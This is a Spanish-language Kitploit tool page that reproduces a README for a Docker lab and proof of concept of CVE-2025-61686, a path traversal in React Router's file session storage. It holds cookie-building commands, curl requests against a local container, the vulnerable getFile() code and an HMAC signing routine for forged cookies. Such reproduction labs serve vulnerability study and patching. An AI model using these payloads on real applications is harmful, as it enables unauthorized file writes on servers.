Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-61686_docker — CVE-2025-61686 dockerfile y poc de reproducción | Kitploit
Herramientas/GitHubGitHub/flowerwitch/cve-2025-61686_docker
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

CVE-2025-61686 dockerfile y poc de reproducción

Ver Repositorio
1hace 7 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-61686_docker

Inicio

  1. construir
root@kitploit:~
docker-compose up --build
  1. iniciar
root@kitploit:~
docker-compose up

Proceso de reproducción

  1. Construir una sesión que cumpla con las condiciones de path traversal
root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 
  1. Poner la sesión construida en la Cookie y enviar la solicitud
root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
  1. Verificar
root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

Causa de la vulnerabilidad

Al comparar las versiones vulnerables 7.9.3 con 7.9.4 se observa que la causa principal de la vulnerabilidad es que la función getFile() en el archivo react-router/packages/react-router-node/sessions/fileStorage.ts tiene un problema en el manejo de la sesión.

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

Aquí se toman los primeros 4 caracteres de la sesión como nombre de carpeta y los caracteres posteriores como nombre de archivo, por lo que un atacante solo necesita hacer lo siguiente para lograr un path traversal. Esta es la razón por la que el aviso de vulnerabilidad dice que, cuando la sesión permite no usar secret, se puede lograr fácilmente un directory traversal. Por supuesto, si el atacante puede obtener el secret utilizado para cifrar la sesión, también puede construir el payload de traversal correspondiente.

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

Explotación con secret conocido

Para el caso en que se haya obtenido el secret, se puede hacer referencia a la función sign() y usar el secret para firmar el PoC.

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
imagen

Realizar una solicitud con la sesión generada

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

Confirmar la activación de la vulnerabilidad

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

Script de generación de firma use_secret_create_payload.js

Descargar herramienta